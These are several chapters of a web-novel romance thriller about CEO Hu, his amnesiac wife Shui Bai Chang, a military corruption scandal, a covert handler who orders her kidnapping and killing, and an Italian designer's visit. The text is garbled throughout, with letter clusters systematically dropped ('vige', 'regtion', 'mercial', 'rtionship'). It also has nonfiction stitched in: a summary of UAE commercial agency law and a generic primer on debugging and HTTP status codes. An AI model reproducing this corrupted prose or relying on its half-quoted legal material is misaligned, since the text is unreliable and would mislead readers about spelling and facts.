    [Tring Tring! Tring Tring!]


    Suddenly the phone rang. I look around unconcerned and walk away from there.


    Later at dusk, I explored the vige and the market and as I came across the telephone pay booth from earlier in the morning-


    [Tring Tring! Tring Tring!]


    The phone rang again. This time out of curiosity I answered the call after looking around the booth.


    "Hello"


    "Hello, Brother Li Jie, your next identity will be provided to you after forty-two hours. Please head towards the Al Habibi Inn and ask for Siarah. Rest would be exined to youter," a mechanical voice said from the other side.


    "Jiffy?" I asked.


    "Yes" and the phone line went dead.


    The other party hung up.


    As not many people knew about her Artificial Intelligence Robot, it is safe to assume that the other party was indeed Jiffy.


    I had already scouted out the whole vige during day time so it was not a difficult task to locate the Inn.


    As I enter the ce, it is a quaint and beautiful bed and breakfast type of ce. It''s decorated in handmade carpet tapestry.


    I walked towards the reception desk. There a sweet middle agedy sat behind the desk,


    "Marhabaan, kayf yumkin uni ''ana asaedk?" <em>( Hello, how may I help you?)</em>


    "''Ana ''abhath ean Sairah!" <em>(I am looking for Sairah!)</em>


    "Min fadlik aintazar huna sa''atasil biha." <em>(please wait here, I will call her)</em>


    I stood there beside the reception counter while I waited for the said person.


    After some time a young man in his twenties came out.


    "Marhabaan" <em>(Hello)</em>


    "Marhabaan," I replied.


    "Taeal maei ''ia alddakhil , sanatahadath fi aldaakhil,"he invited. <em>e inside with me, we will talk inside).</em>


    The man turned towards thedy and said, "''Iinah dayf sayabqaa huna alt ''uhdirh shyyana liyushrabah." <em>(He is a guest, will stay the night here. get him something to drink.)</em>


    We walked through a narrow passage. I simply follow the man''s lead while I keep my guards up.


    We walked into the inner courtyard and through there we walked across a small garden and walked into a room.


    As I entered there were more modern gadgets and high-quality servers andputationalponents.


    "Stay here for the night with me, your parcel will arrive tomorrow and then you can move on," he replied in a very thick ent English.


    "Shukran jazn," I replied. <em>(Thank you)</em>


    I looked up the country''s regtion in the meantime.


    The governingw, Federal Law No. 18 of 1981 ("the Agency Law"), is extremely broad and capturesmercial activities ranging from a ssic principal/agent rtionship to franchising and distribution agreements. The Agency Law is a framework which serves to champion the rights of the localmercial agent, normally at the expense of the (typically foreign) principal.


    The Commercial Agents (Council) Regtions 1993 ("Regtions") promulgated under the Agency Law recognise thatmercial agents are often in a rtively weak position when contracting with principals, and for this reason, the regtions seek to impose certain restrictions on the actions of principals whilst conferring benefits on agents. The Regtions are in favour of protecting Emirates Nationals with the persons or entities able to qualify asmercial agents being very narrowly defined.


    Themercial agency is defined as the "representation of a principal by an agent for distribution, sale disy or provision of amodity or service in the state in return formission or profit". This very broad definition is further clouded with a narrow qualification on who may actually carry out such activities.


    Commercial agency activities in the Emirates may only be carried out by Emirates Nationals orpanies wholly-owned by Emirates Nationals. Once an agency is granted and registered with the Emirates Ministry of Economy, the termination of an agency rtionship by a principal can be extremely difficult to effect and in most cases, such terminations result in significantpensation awards in favour of the local agent.


    ording to the strictest rules, I found myself in major disadvantage.


    ****


    The next day-


    A Ferrari was parked outside the Inn and Sairah handed me an envelope and left.


    I look through the stuff, there are new passports and identities as well as a work profile and details for the new target.


    ****


    Two monthster-


    "Masa'' alkhayr sayidi al anthayt min eamalik hna?," the immigration officer at the airport asked me. <em>(good evening sir, are you done with your business here?)</em>


    "Masa'' al khayr nem antahayt min ramli.qad kana ''iiqamat muthmiratin. shukraan lisuaalika," I replied. <em>(good evening, yes I finished my work. It was a productive stay. Thank you for asking.)</em>


    Listening to my fluent Arabic, the officer turned a little soft towards me.


    <em>(Wherever you go, if you speak the localnguage of the ce you visit, the locals are more weing towards you. That is an added advantage.)</em>


    I am finally flying back to my own country.


    After spending such a long time across the globe, I am homesick and would like to go back to my ce. More than homesickness, it is my worry for the Youngdy that keeps me awake all night long. While the recent missions and collected data had added more fuel to it.


    "Min fadlik , atabae hdha altariq liltahaquq al''amin," the officer called out to me, breaking my reverie. <em>(Please, go through this way for a security check.)</em>


    "Shukran jazn," I replied and moved along the path towards the security check line. <em>(Thank you)</em>


    I moved through the line, after waiting for another hour or so finally my flight details were announced.


    I went through a final check and boarded the flight.


    "Young Lady, I hope you are fine, I will be back and by your side in a few hours," I said to myself.


    It still keeps me worried, I wonder how she is fairing through all the matters?


    ****


    "Wee to the capital city, hope you have a pleasant stay here," the generic announcer''s voice has never sounded so pleasant.


    I walked outside the airport.


    There were rows of taxis waiting for travellers to approach them.


    The smog in the city, the crisp chilliness in the air, all seems to wee me home. It is not like I never stayed outside the country for an extended period of time, but the information that I gathered is of such sensitive issues that it subconsciously makes me worried about what we are going to face in future.


    One may run away from one''s ill fate but can''t outrun them. We really need to tighten our seat belts to face the numerous stormy waves that are about toe our way.


    We have to stand and fight this time asst time almost four years back we already lost out and came close to death. This time it is our turn to turn the tables and fight for our survival in its truest essence.


    ____________________


    <em><strong>Author''s Disimer as well as a note-</strong></em>


    We have finally managed toe to the end of the first volume, now the story would move towards a more fast pace, futuristic version, where we are going to build-up to the climax. For this chapter, thenguage written is mostly done using the aid of google trante. If there are any mistakes, please point it out, I would immediately make the changes.


    The information referred to here regarding policies were referenced from the respective countries policy reference book avable in the public domain.


    The information is used as an informative reference framework and does not intend to harm or call out any respectivemunity,nguage, religion and civil framework.


    All pieces of information are used just as a framework, and the story is a piece of Fiction, please treat it that way.


    The author has the utmost respect for all types ofmunities and cultural diversity across the globe and admires and appreciate the same.


    Hope the readers would also share the same sentiments.


    Thank you so many readers for sticking with the story for all this time and supporting the story. I really appreciate all your love and encouragement.


    I request all my readers after you have read till volume one, please consider to leave a review for the story, as your review are the only way for me to know your opinion about the story.


    Once again I thank you all for your support.


    With this chapter, we finallye to an end of volume one.


    Yayy!!


    A special mention to the top contributors-


    <em>Shukura</em>


    <em>Pinar_Zengin_1778</em>


    <em>Kiwani_Morehead</em>


    <em>Bree_De_Ocampo</em>


    <em>Ronna_Downey</em>


    <em>Lady_Pirate</em>


    <em>KingofMortals</em>


    <em>TheIllusionist</em>


    <em>Angel_OvArt</em>


    <em>Tungil_NL</em>

 Chapter 91: Qiang Turns Badass!

    Chapter 91: Qiang Turns Badass!


    ****


    <em>Inside Hu Corporation Office-</em>


    "Boss, today you nailed it at the Military base camp," Ming Li spoke up in an aegyo manner.


    I subconsciously shivered listening to that tone and pitch.


    "Ming Li! You are a grown man, please behave as you speak," I spoke through clenched teeth.


    "Boss, how did you know that it would work? How did you know that the program code and our deal with other countries would work in favour of us and would, in turn, be our leverage against the military officials?" he asked while being perplexed.


    "It''s the value of that security code. I guess someone finally informed the Army Chief about the actual selling point of the security code. If it goes to any foreign country then the government here will lose their leverage in international negotiation. The question is who is the person who informed them of the real value of the security code?"


    ''It is truly something to ponder. Is it Feling?''


    While I was a little lost in my thoughts Ming Li fiddled with today''s newspaper.


    "Don''t you have your own office space? Why do you always try to lounge in my office space? Move out, will you?" I criticised the couch potato in my office.


    "Woah!"


    "What? Aren''t you leaving yet?" I asked while being annoyed.


    "Boss! I think you should take a look at this before you take any other steps!"


    "What is it? Speak out clearly," I urged as I was reaching my limit to tolerate him.


    "Boss, I am serious, take a look at this."


    He walked towards me and flipped open the daily newspaper to a relevant page and ced it on my table.


    The headlines read-


    "The Biggest Military Corruption Uncovered"


    The people responsible are the elites of the social and power hierarchy. The government in its bid to crackdown on severe internal corruption, today released a press statement -


    We were made aware of these heinous crimes for some time now. The government ced them under surveince to acquire more concrete proofs on their misdeeds. Finally, two days back the investigating team got all the information rted to the whole operation. So we moved in to make arrests. In the country''s legal detention system, they were interrogated about their deeds and other contracts rted to them.


    The information provided was strictly scrutinised for any discrepancies. After confirming the validity of the data and the total numbers determined, we made them appear in court and face civil judgments or the crimes theymitted against their nation.


    The total amount has been rounded off to approximately three hundred billion U.S. Dors.


    The chief culprit behind this has been identified to be party leader Hao Xuping of the capital province and the Military officer Lt. General-"


    "So how are we rted to it?" I asked.


    "Boss, do not be naive, I have a strong feeling that it has all been directed by madam, that is, your wife Ms Shui Bai Chang. Even Matt agrees with me on this."


    "When did you guys even talk about all this?" I asked him, perplexed.


    "Boss try to remember, did anyone from Military p**is Madame off recently?" he asked me with absolute confidence in his voice.


    "Mmmhmmm, recently huh?" As I think about it, I remember recent events two days back, when Bai Chang revealed her medical prowess as well as one of her squad members returning hurt from some kind of mission.


    <em>(Boy, did something serious happenafter all that drama?)</em>


    "When did you talk to Matt about all this?" I asked him.


    "It was Matt who informed me about this as he found the trace of our system over the path of distribution of this news. It is a clear case of someone making us ameat shield while they shot bullets from the blindside."


    I think deeply into all these and try to piece together the puzzle.


    First, a few days back a member of her squad got injured. When I looked into it, it had something to do with Feling. So there would be paybacks from Bai Chang. The thing is I am not aware of her game n. Let it be, I will figure something out as we go along the way!


    "Ming Li, keep your eyes peeled for any development in this case as well as ask Matt to make this case his personal property. I think my wife is on an annihtion mission. So ask him to be prepared for all types of cleanups and PR as well as keep important contacts on his fingertips."


    "Yes boss," he nodded his head in agreement and then asked, "boss, if some day madame destroys the world, what would you do?"


    "Do you need to even ask? if she destroys the world I will stand by her side and help her count the spoils of the war and as well as clear the battlefield for her!" I replied naturally.


    Ming Li stood there and simply gawked at me.


    "What? Don''t tell me you won''t do the same for Matt. You will ditch me in a heartbeat to apany him to any joust of your choosing."


    "Boss, this is expected of me but I never pegged you as a romantic man, after all, four years ago you never yed the game this closely," he pointed out the key points wisely.


    "Exactly, we can''t repeat the same mistake from my past. I got one chance for atonement and pursued a happily ever after. I will take all necessary steps to achieve my happily ever after with Bai Chang this time."


    He kept his silence for a while, as he stared at me for quite some time. I don''t know what he saw there but he must have seen my conviction. As instead of pursuing me to reconsider he simply held his silence.


    "Okay, let''s move on to our next agenda, that is our international business trip regarding this security code".


    "Boss, Country A andCountry E have quoted a good price for the security code, they would like to meet us face to face to see the effectiveness of the codes. "


    "Okay, set up a meeting with them. First, we will go to Country A. Then we will move to Country E and the rest of the continent. Keep Country R at a bay and keep Country C on bait. Do not promise them anything but provide them with a sense of reward for their coboration with ourpany. Make sure to keep them in check otherwise they will climb on our heads and y with us. Treat all of them as nothing more than enemies with a purely tonic trade rtionship.


    Am I clear?"


    "Yes boss, I will get on this n right away. I will let you know your schedules in about another quarter of an hour after."


    [Bam]


    Ming Li left the office as he closed the door behind him.


    I picked up the newspaper and re-read the article about the corruption scandal.


    "Wife, what are you ying at?" I think aloud.


    As I contemte the future actions, I look towards the customised mobile phone provided to me by Bai Chang. It has been three days since I have been banished by her. I still have another four days to go.


    I picked up my phone and dialled a number.


    [Ring Ring! Ring Ring!]


    The other side keeps on ringing, I wonder if he will pick up the call.


    Just as I was about to disconnect the call the other side picked up the call,


    "Hello," a soft voice answered the call from another side.


    "Hello, it''s me here. How are you? How is your Mumma?" I asked.


    <em>(Yes, on the other side of the phone is my son, the little ancestor of my family.)</em>


    "We are fine," he answered curtly.


    "Did something happentely," I asked him softly?


    "We are good together, could you please note home. I don''t like you paired with my Mumma. I can''t choose my genes but I feel I have the right to choose my rtionship with my Dad. And I choose separation. I and Mumma are good so stop poking your nose in-between us-"


    "Hold on, hold on! Why are we on gunfire today? What did I do wrong this time," I asked while perplexed about the whole situation.


    Only silence answered my queries. I look towards the phone, we are still connected.


    "I am being punished for what I didst time?" I asked my son gingerly.


    "I talked to Mumma about that time and she was not happy with you, or grandparents, about how you approached the situation. So be sure to face some fire next time we meet face to face." He heartlessly replied.


    <em>(Is he really my son? Why is he, driving wedges in between our married life.)</em>


    "Do I get a second chance to amend mistakes?"


    "Depends on your choices!"


    "You are aware that you are a kid right, Why is it every time I talk to you, you sound more adult?" I was exasperated.


    "Mumma said that it is Shui family''s secret not to be revealed to outsiders,"


    [Tu Tu Tu Tu]


    He hung up on me.


    But what he means by it is a Shui family secret.


    It seems I have to go all out this time to protect them from shadows.

 Chapter 92: Its A Mess!

    Chapter 92: It''s A Mess!


    [POV General Han]


    The man was too brave for his own good.


    As I nursed my injured hands and walked inside the campus, I realised that the man we thought to be a rabbit turned out to be a lion.


    ''Which idiot reported that he is a simple businessman with a software engineer background?''


    As I turned my injured hand a thousand curses would not suffice for the intelligence officer who provided the character profile of CEO Hu.


    The pain within my crushed carpal tells me altogether a different character profile of this CEO.


    "Salute Sir," the soldier greeted.


    "At ease"


    "Sir, the Chief wants to meet you right away at his office."


    "Okay, lead the way," I said and followed behind the footsoldier.


    We crossed across the internal quad and walked up a few flights of stairs and then came across an old aesthetic Schrs building with mostly faux wooden exterior designs. The soldier came to a stop outside the door.


    I looked at the door and braced myself for an onught.


    [Knock Knock]


    I knocked on the doors.


    "Come in," a voice from inside called out.


    I took a deep breath and walked in while taking care of my injured right hand.


    ***


    Inside the Army chief''s office-


    As I walked in, there were rows after rows of books on stainless steel shelves on the right-hand side of the wall. While the centre of the room is dominated by arge Mahogany dark and polished wood table on which his name and ranks are written clearly.


    The room was bare and minimalist.


    While the man himself, he is short in stature but his eyes tell you tales unheard. The man had ck hairs (most probably dyed), he was standing opposite me in his army uniform.


    "You are here," he simply stated.


    I kept my silence as it was not a question but a mere statement.


    "Did you meet CEO Hu?" he asked.


    "Yes Sir, I did," I replied.


    "What did you think about him?" he eyed my injured right hand as he asked me.


    "I don''t know what to think of him!" I replied honestly.


    "Come have a seat, while I educate you to CEO Hu of the Hu Corporations".


    I sat on the only other chair avable in the office.


    "Should I get some ice for you?"


    "No thank you, sir, it is nothing major," I assured him.


    The chief walked behind the table to his chair, sat on it and pulled out a drawer. From inside the drawer, he pulled out a pack of Churchill''s Cigar and a cutter.


    "Want a smoke?" he offered.


    "No thank you, sir," I politely refused his offer.


    He didn''t mind my rejection. The man opposite me lit up his cigar and took a healthy puff of it.


    "This CEO Hu is an enigma," he spoke up as he puffed out a ring of smoke, "he was only twenty-three years old when he took over the Hu corporation. At that time, they mostly dealt in real estates and medical technologies courtesy of Chairman Hu and his Wife.


    The young CEO was ambitious but also a good businessman. He has an urate road map for hispany''s sess as well as future growth nned.


    When Chairman Hu handed down the Hu corporations even he never imagined his son''s sess.


    It all started with a damn security code that he wrote."


    I simply listened to it. Surely there is some hidden information among whatever the chief is telling me now.


    "Are you wondering what''s new about it? They are filed in the country''s record. So what is there to add?"


    "Pardon me sir but I am curious. After interacting with him I do not find him a simple man!" I said.


    "You are right! He is not a simple man."


    I keep my silence while I let the chief reflect on his thoughts.


    The man across me seemed to be amused as well as frustrated, seeing him like this made me more curious about this CEO Hu.


    "Well I was arrogant just like you, I wanted to pressurise the young CEO Hu to give me the first code that he wrote for hispany at a dirt-cheap price or free of cost as a service to the nation.


    That man had his own way of tackling the crisis.


    He immediately through some dark web channels auctioned his security code and then raked in money equivalent to a small country''s total Gross Domestic Production.


    He single-handedly established an international branch of his corporation and started investing in stuff that was beyond one''s imagination, at least so in the tech world. While the money made from coding programs, he would invest them in various avenues unting his business acumen."


    "Then what about the hard method?" I asked out of curiosity.


    "We did that too, but he was well prepared. He has his personal standing army that he can deploy anytime anywhere. We tried a very hardcore approach, but he always escaped like a cockroach with extra lives. Finally, we did something unforgivable. We kidnapped his son and lured his wife to go for that double whammy, only to be hit in our face.


    His wife saved their son and got captured instead, we had our reasons to capture his wife Shui Bai Chang, as we suspected that she is the brain behind the codes programmed by CEO Hu.


    It was no secret as to how talented Ms Shui was at that time, but after we captured her we realised our mistakes. She was autistic so tomunicate with her was next to impossible."


    He paused and took a long drag of the cigar.


    "You see, we are not heartless. It''s that the Hu family very cleverly hid any medical records rted to Ms Shui, CEO Hu''s wife.


    So when we realised that she is autistic, we were already in deep shit. It was also at that moment the ident urred. Our intelligence had reports or rather spections that the Shui family held a key to Project 33,"


    I sat up a little straighter as I heard the term ''Project 33''.


    "Do not get excited, the officer in charge went above and beyond to get something out of Ms Shui. But we were unsessful. As it was a covert operation and we were at a precarious position, the officer handling the matter decided to go all the way. They decided to eliminate her to remove any liability for the ''Project 33''.


    So after severe third-degree torture just when they were about to eliminate her, she fled, i.e. she escaped her captivity and the people who were searching for her found her.


    Ms Shui, CEO Hu''s wife, was in aa for the past three years. But she woke up this year and this time she is not autistic but she has amnesia.


    Our secret intelligence officers yed the old trick to see what would be her reaction but it was too mild."


    "But sir, I apologize for interrupting you, what does this all have to do with CEO Hu?" I asked in confusion.


    "It has got everything to do with Ms Shui. You see, CEO Hu deeply loves his wife and so does his whole family. They were fuming in rage to have received a broken Ms Shui. Plus there was evidence of brutal torture all over her body.


    After this incident CEO Hu yed a big game, he moved most of his assets outside the country and most of his forces underground. But after that ident, no government or international gangs or organization including other foreign intelligence units were able to get hold of his head or tails.


    He turned into an enigma because every time someone tried to attack him covertly or overtly had been annihted. There was no mercy shown by this, ever again. He is as much of a savage as one could imagine. He is the only lone wolf who knows how to survive.


    This past year just because his wife Ms Shui regained consciousness, he is going soft at least on the surface. We have to be aware, as this is the calm before the storms. He is going to make us all pay with due interest," the Chief heaved a heavy sigh and puffed out thest of his smoke with arge puff.


    "Sir, what gives you the impression of his revenge?" I asked him, perplexed at this man''s dropped shoulders.


    "Here look at this," he pushed today''s newspaper towards me.


    I adjusted my injured right hand as I looked at the headlines.


    "The Biggest Military Corruption Uncovered"


    The people responsible are the elites of the social and power hierarchy. The government in its bid to crackdown on severe internal corruption, today released a press statement -


    We were made aware of these heinous crimes for some time now. The government ced them under surveince to acquire more concrete proofs on their misdeeds. Finally, two days back the investigating team got all the information rted to the whole operation. So we moved in to make arrests. In the country''s legal detention system, they were interrogated about their deeds and other contracts rted to them.


    The information provided was strictly scrutinised for any discrepancies. After confirming the validity of the data and the total numbers determined, we made them appear in court and face civil judgments or the crimes theymitted against their nation.


    The total amount has been rounded off to approximately three hundred billion U.S. Dors.


    The chief culprit behind this has been identified to be party leader Hao Xuping of the capital province and the Military officer Lt. General-"

 Chapter 93: It is alright

    Chapter 93: It is alright


    [POV Feling]


    After taking care of that Lt. General, it was now time to search for the real bug. There has to be someone behind the scenes who has orchestrated the whole shenanigan. There has to be someone responsible for the leak.


    My mind went through various scenarios one after another and the only weak joint of this whole coboration was from that Lt. General''s side.


    I contemted everything possible and the only conclusion that I could draw was the involvement of CEO Hu, in all this mess.


    There has to be that guy involved to mess with my mission to this extent.


    After dealing with general Han for the past few days I feel I require toy back and look out for myself.


    The pots have been stirred too much.


    I walked towards my housing facility. As I walked in, I walked towards the server. A few things have been bugging me like, how did the Hu corporation get hold of Lt. General''s server as I did maintenance for his server personally?


    I guess it is time for some debugging and troubleshooting.


    Computer programmers are bombarded with various jargon and terminology. Experienced programmers have learned how to work with these terms. Beginning programmers be frustrated and confused. To some degree, it''s a rite of passage in the programming world. It separates the wheat from the chaff.


    Troubleshooting and debugging are two concepts that programmers need to learn and distinguish between. You not only need to understand the two terms but understand how they differ and know themon traits they share. Programmers will spend more time with debugging than with troubleshooting. However, their enhanced operational duties will cause them to troubleshoot more frequently.


    Troubleshooting is a process that helps people identify issues or problems urring in a system. Troubleshooting tends to exist at a higher level than debugging and applies to manyponents of a system. It''s a process of parsing out the items that are causing problems. This process requires interviewing the end-users of the system to find out the steps they took to cause the problems.


    Debugging is a subset of troubleshooting. It requires finding problems as they rte toputer code. As a programmer, when you are tasked with debugging a module of code, you find what is causing the problem and then fix it. This is an oversimplification. There may be several points of failure, and sometimes it''s not obvious where the problems are urring. For example, you may be led to believe that the JavaScript code in a browser is failing, when in fact it''s a web server issue. The process is abstracted when many of your servers exist in a third-party cloud environment, which brings new sets of challenges.


    I started with my own server, I start withing through my cloud storage, then my physical storage. The pathways linking them. I continue to work on it but there is no problem revealed as of yet. I have my routine when ites to keeping back up and working on regr system checks.


    I ran my pre-programmed files and then walked towards the kitchen counter to boil some water. I looked into the cupboard and found a packet of ramen noodles. At least the evening snacks are done.


    I fixed myself a bowl of ramen noodles and topped them with soft boiled eggs.


    After fixing me a snack bowl I walk towards my monitors and systems. The files have conducted their checks, there are no red gs.


    ''So it must be a problem from Lt. Generals side,'' I concluded.


    I checked his web server logs as well as history to search for any troublesome malware and bugs getting introduced into his system.


    It is like every time you click on a link or type in a URL and press Enter, your browser sends a request to the web server for the site you''re trying to ess. The server receives and processes the request, and then sends back the relevant resources along with an HTTP header.


    HTTP status codes are delivered to your browser in the HTTP header. While status codes are returned every single time your browser requests a web page or resource, most of the time you don''t see them.


    It''s usually only when something goes wrong that you might see one disyed in your browser. This is the server''s way of saying: "Something isn''t right. Here''s a code that exins what went wrong."


    HTTP status codes are divided into 5 "sses". These are groupings of responses that have simr or rted meanings. Knowing what they are can help you quickly determine the general substance of a status code before you go about looking up its specific meaning.


    The five sses include:


    100s: Informational codes indicating that the request initiated by the browser is continuing.


    200s: Sess codes returned when browser request was received, understood, and processed by the server.


    300s: Redirection codes returned when a new resource has been substituted for the requested resource.


    400s: Client error codes indicating that there was a problem with the request.


    500s: Server error codes indicating that the request was epted, but that an error on the server prevented the fulfilment of the request.


    Within each of these sses, a variety of server codes exist and may be returned by the server. Each code has a specific and unique meaning.


    There are various easy to approach steps to make an onsite check, that is,


    When using a web browser to test a web server, refresh the browser after making server changes


    Check server logs for more details about how the server is handling the requests. For example, web servers such as Apache or Nginx produce two files called ess.log and error.log that can be scanned for relevant information


    Keep in mind that HTTP status code definitions are part of a standard that is implemented by the application that is serving requests. This means that the actual status code that is returned depends on how the server software handles a particr error.


    As I sieve through all the data I find two suspicious caches. They are well camouged in the massive data, if not look out for it; it is impossible to even catch a glimpse of it or even know its existence. As the caches are programmed to destroy itself organically after some time.


    "Whoever nted this malware is a f**king genius. Makes me want to meet him/her face to face. Is it you, CEO Hu?" I thought aloud to myself.


    [Beep Beep Beep Beep]


    An obscure mechanical rm started to re in my room. I look around the apartment once. Then I walked towards the windows to look outside.


    [Beep Beep Beep Beep]


    The mechanical rm continued ring.


    I walked to my server system and switched it off without any hesitation.


    I look around again and see if everything is in order or not?


    I walked towards my bed and then pulled out a trunk from underneath.


    The sound of the mechanical rm became a little louder.


    I opened the trunk and inside was a customisedptop for only specific users. I pulled it out and opened it. The screen immediately turned neon purple in colour and then a mechanical voice spoke up,


    "Simon says, hi."


    "Hello," I replied.


    "Simon says, whyte?"


    "Checking out the surroundings for added precaution," I replied. I have long gotten used to this mode ofmunication.


    "Simon says, are you up for a game?"


    "What game?" I asked. I couldn''t help but flinch as thest time it asked the same question I was asked to torture that girl Shui Bai Chang, almost four years back.


    "Simon says, What happened to the girl? Why is she alive?"


    "She was in aa with no chance of survival, her case of recovery is nothing short of a miracle," I replied.


    "Simon says, keep an eye out on the girl. Is she still autistic?"


    "No sir, she is mentally healthy but amnesic".


    "Simon says, is it permanent or temporary?"


    "From all her medical records from all avable and hidden sources, it appears to be a permanent case of memory loss".


    "Simon says, keep a sharp lookout on her, she is dangerous".


    I raised my eyebrows,


    (What is it about her that even Simon seems to be at the edge of his seat? What is the matter with this girl? Who is she? Or most importantly what does she possess with her to make her a target of that organisation.)


    "Simon says if possible repeat thest assignment if you get a clear shot, kidnap her and then let us know. After the interrogation, kill her and dispose of her body. She has now turned into a dangerous variable."


    "Yes sir," I replied.


    The mechanical voice took a long pause. I thought that that is it and was about to disconnect themunication line when the machine red up again,


    "Simon says, from now on, report your movements every month and report all your actions and steps taken against that girl Shui Bai Chang".


    "Yes, si-"


    As I replied to the saidmand the other side had already terminated themunication line.

 Chapter 94: Pieros Visit

    Chapter 94: Piero''s Visit


    [POV Pierro]


    "Pierro!"


    "Pierro!"


    "Pierro, are you with me in here? Pierro!"


    "What?"


    I finally snapped out of my daze.


    "Where are you lost these days? After yourst visit, I always find you sketching the same design over and over again. Tell me honestly, have you run dry of inspiration?" the women in front of me did not let go.


    I sighed.


    "I tink I tink I found my moose."


    "What? Are you sure? I looked up this dress design," I looked at her, "please do not hate me, I wanted to see for myself, what made you so obsessed? So I searched it and I found that it was a dress worn by CEO Hu''s Wife of the Hu Corporation."


    "you rrreal-ly walk de extrrra mile, ooh"


    "Come on, Pierro, I give you that dress is really cool, but we have a deadline to work with. We have to get designing our new line for Annual Haute Couture Fashion Week. We have under a week to get our designs ready.


    Pierro, work with me here, will you?"


    The woman in front of me is my granddaughter, as well as the manager of my fashion house.


    She is a proud Italian woman, with olive hairs and pale blue eyes. She takes mostly after her mother but she inherited her father''s height. She is 5''8'''' tall with heels that''s way over 6''.


    "Loocy dearrr-a, tis time either I ave to worrrk with de same designoi of tat drrres-s-a, orrr I wil-l ave to sit out of tis Fashion Week-a. I cano''t look past er-a. oi fashion sense as oon-wit-tingly inflooenced me."


    "Are you serious?" she asked with some determination.


    "S"


    "Fine, tell me where to book your tickets for, we will fly down to your muse right now."


    There was no hesitation in her manners, once she decides on something, she will walk forward unhesitant. I really like her conviction as well as her strong character. Thus for thest five years, I asked the little girl to manage the fashion house.


    As she walked out of the room, I looked at my drawing pad.


    There was a rough sketch of the dress worn by Mrs Hu, that night.


    The more I look at the sketch, the more I am overwhelmed by the ingenuity of it. I find it as a beautiful puzzle whose answers are beheld by Mrs Hu, the mysterious designer.


    Aftering back from Country C, I always find myself getting caught in my blind side by that girl''s passion for design and fashion.


    I am so looking forward to this visit.


    ****


    Airport, Capital City, Country C-


    "Grandpa, we are here, so from here, where do we go?"


    "I ave de ad-drrres-s with me, let oos get a cab-a, firrrst-a."


    She swiftly called a cab for us.


    We settled in, as the driver asked us, "Where to Sir?"


    "We want to go to The Residency Area, towards the East of the city."


    The driver looked at me, "Are you sure, you have to go to The Residency Area?"


    "Yes, any problem?" I asked the driver.


    "No problem, but I can''t drive you inside. Only to the outside gate. It is a private property with military standard security. Once we reach there, call your friend to verify your identity, before you even try to walk in."


    "Why all the shenanigans? Are we entering a secretir or what?" Lucy joked light-heartedly.


    I quickly clench my fist around her wrist, to warn her.


    She looked at me and then simply looked outside the cab''s window taking in the cityscape.


    We drove for over an hour or so, as we moved towards the East of the city, we discovered that they are to be slowly getting deserted and dominated by the mountains and greenndscape.


    There were more trees and the city was left far behind. The roads looked empty as practically there was no traffic or cars to be seen on the road.


    It was like we were moving more to a nature reserve than a residential area, where people live!


    The cab slowed down, I looked outside the window and was greeted by a high wall with steel gates and ample security to rival a military base.


    As the cab pulled over, a uniform guard walked towards it.


    He came closer and knocked on the window at the back. I looked around. He knocked again.


    I lowered the windshield.


    "Hello, are you Sir Pierro?" the guard asked.


    I was taken by surprise, How did he know who I am?


    "Yes, that''s me," I answered.


    "Good, good. Madame is waiting for you inside. A car is here to take you to your destination, Sir Pierro. Please follow me," he said and pointed towards an SUV parked right on the other side of the gate.


    "Where are we?" Lucy asked me in a hushed voice.


    "We are right where we are supposed to be. Follow me closely and do not speak a word until I say so," I advised her. Knowing her temperament, it is best to do early damage control as much as possible.


    We paid the cab driver and climbed into the other car. The car moved deep into the Residential Area.


    After about fifteen minutes, we stopped in front of a vi. Outside the gate, a gentle girl in pastel green colour maxi dress, with hairs tied up in a messy knot, and wild tresses of hair running loose from the knot and ying with the breeze, was standing in wait. As the car came to a stop, she approached the car.


    "Ciao Pierro!  molto tempo che non ci si vede. Come stai? Prima di tutto,scia che ti chieda scusa per tutti gli imbrogli che hai passato. Per favore scusa mio marito, mi trattae una fragile bamb di vetro, che sparir nel nu in qualsiasi momento. Quindi tutti questi livelli extra di protezione," she apologised.


    (Hello Pierro! long time no see. How are you? First and foremost, let me apologise to you for the whole shenanigans you went through. Please excuse my husband, he treats me like a fragile ss doll, who will disappear in a thin air anytime. So all these extrayers of protection.)


    "Mio bellissimo angelo, sei scusato di tutte le use. Conosco il CEO Hu da molto tempo e so quanto possa essere possessivo quell''uomo per te!" I replied.


    (My beautiful angel, you are excused of all charges. I have known CEO Hu for a long time and I know how possessive that man can be for you!)


    "Pleasee in," she weed us into her home.


    "Ms Bai Chang, per favore, in contra mia nipote Lucy.  manager de mia casa di moda e il mio attuale capo," I introduced Lucy to her, while I cracked a few jokes to make the atmosphere rxed.


    (please meet my granddaughter Lucy. She is the manager of my fashion house as well as my current boss.)


    "Wee Lucy, please make yourselffortable," she directed us to a parlour and invited us to take a rest.


    "Sir Pierro, you are a busy man. How did you make time to fly down and look for this housewife? Don''t you have a Fashion Week to attend in a week?" She cut right to the point.


    "Ms Bai Chang, I guess I require your help to even put out a design for the uing event," I admitted to her honestly.


    "Why sir? What happened?" she asked.


    The girl sitting across from me looked so exact and beautiful. As I got to look at her closely, I realised that she is wearing a self-designed dress. The dress looks simple but it is most often difficult to reach simplicity. She is truly my muse. I didn''t go wrong with it.


    "Ms Bai Chang, scusa mia digressione ma sento che sei mia Musa e non riesco a pensare ad altro se non al tuo design e ai vestiti che hai fatto e indossato, l''ultima volta che ti ho incontrato," I stated to her clearly.


    (excuse my digression but I feel you are my Muse and I can''t think of anything other than your design and the clothes you made and wore, thest time I met you.)


    "I understand, immagino che tu abbia un programma serrato. Non sprecher il tuo tempo. Lascia che ti apagni nel mio studio e possiamovorare insieme. Sorprendiamo il mondo con dei bellissimi pezzi," she answered unhesitantly.


    (I guess you are on a tight schedule. I will not waste your time. Let me walk you to my studio and we can get to work together. Let us surprise the world with some beautiful pieces.)


    "I like you, Ms Shui. You are my type of gal. let us have a pleasant and sessful coboration," Lucy spoke as she offered her hand to Mrs Hu as they shook to establish a coboration.


    "Fine, as we have put the groundwork let me take you to the studio without any further dys," Bai Chang turned and walked ahead of us as she directed us to her studio to get down to real work.

 Chapter 95: Offer

    Chapter 95: Offer


    We walked across thewn and then walked into an outhouse.


    "Il tuo studio  qui?" I asked her. (Your Studio is here?)


    "S" she replied.


    We walked in.


    As I walked in, my eyes came across various mannequins, who were dressed in designs that are not to be seen outside this ce. The whole floor had rows after rows ofpleted dress sitting on those lifeless mannequins, providing them with a reason for their existence.


    As I looked at the dresses I could already visualise the person who could wear it. There were so many details and so much consideration for the wearer that a buyer would fall in love with the dresses just like that.


    "Woohoo!" Lucy whistled as she looked through the dresses, "you can open a high-end fashion boutique with all the designs you have here," she turned towards me and said, "old man how about you retire and in your ce I hire her for our fashion house," she excitedly stated.


